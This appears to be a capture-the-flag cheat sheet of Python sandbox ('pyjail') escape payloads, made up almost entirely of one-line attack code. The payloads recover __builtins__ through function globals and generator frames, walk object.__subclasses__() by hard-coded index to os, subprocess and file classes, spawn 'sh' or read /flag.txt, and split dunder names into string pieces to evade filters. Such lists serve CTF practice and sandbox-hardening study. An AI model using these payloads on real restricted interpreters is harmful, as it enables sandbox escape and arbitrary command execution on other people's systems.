pyjail

# obtain builtins from a globally defined built-in functions
# https://docs.python.org/3/library/functions.html
print.__self__
__build_class__.__self__
__import__.__self__
 
# obtain builtins from site-module constants
# https://docs.python.org/3/library/constants.html#constants-added-by-the-site-module
help.__call__.__builtins__ # or __globals__
help.__repr__.__globals__["sys"] # can chain with sys.modules
license.__repr__.__builtins__ # or __globals__
license.__repr__.__globals__["sys"] # can chain with sys.modules
 
# obtain the builtins from a defined function
func.__globals__['__builtins__']
(lambda:...).__globals__
 
# obtain builtins from generators
(_ for _ in ()).gi_frame.f_builtins
(_ for _ in ()).gi_frame.f_globals["__builtins__"]
(await _ for _ in ()).ag_frame.f_builtins
(await _ for _ in ()).ag_frame.f_globals["__builtins__"]

# <class '_frozen_importlib.BuiltinImporter'>
().__class__.__mro__[1].__subclasses__()[104].load_module("os").system("sh");
 
# <class '_frozen_importlib_external.FileLoader'>
().__class__.__bases__[0].__subclasses__()[118].get_data(".", "/flag.txt")
 
# <class '_io._IOBase'> -> <class '_io._RawIOBase'> -> <class '_io.FileIO'>
().__class__.__mro__[1].__subclasses__()[111].__subclasses__()[0].__subclasses__()[0]("/flag.txt").read()
 
# <class 'os._wrap_close'>
().__class__.__mro__[1].__subclasses__()[137].__init__.__builtins__["__import__"]("os").system("sh")
().__class__.__mro__[1].__subclasses__()[137].__init__.__globals__["system"]("sh")
().__class__.__mro__[1].__subclasses__()[137].close.__globals__["system"]("sh")
 
# <class 'subprocess.Popen'>
().__class__.__mro__[1].__subclasses__()[262](["cat","/flag.txt"], stdout=-1).communicate()[0]
 
# <class 'abc.ABC'> -> <class 'abc.ABCMeta'>
().__class__.__mro__[1].__subclasses__()[129].__class__.register.__builtins__["__import__"]("os").system("sh")
 
# <class 'collections.Counter'>
{}.__class__.__subclasses__()[2].copy.__builtins__["__import__"]("os").system("sh")
{}.__class__.__subclasses__()[2].update.__builtins__["__import__"]("os").system("sh")
 
# <class 'generator'> - instance
(_ for _ in ()).gi_frame.f_globals["__loader__"].load_module("os").system("sh")
(_ for _ in ()).gi_frame.f_globals["__builtins__"].__import__("os").system("sh")
 
# <class 'async_generator'> - instance
(await _ for _ in ()).ag_frame.f_globals["_""_loader_""_"].load_module("os").system("sh")
(await _ for _ in ()).ag_frame.f_globals["_""_builtins_""_"].eval("_""_import_""_('os').system('sh')")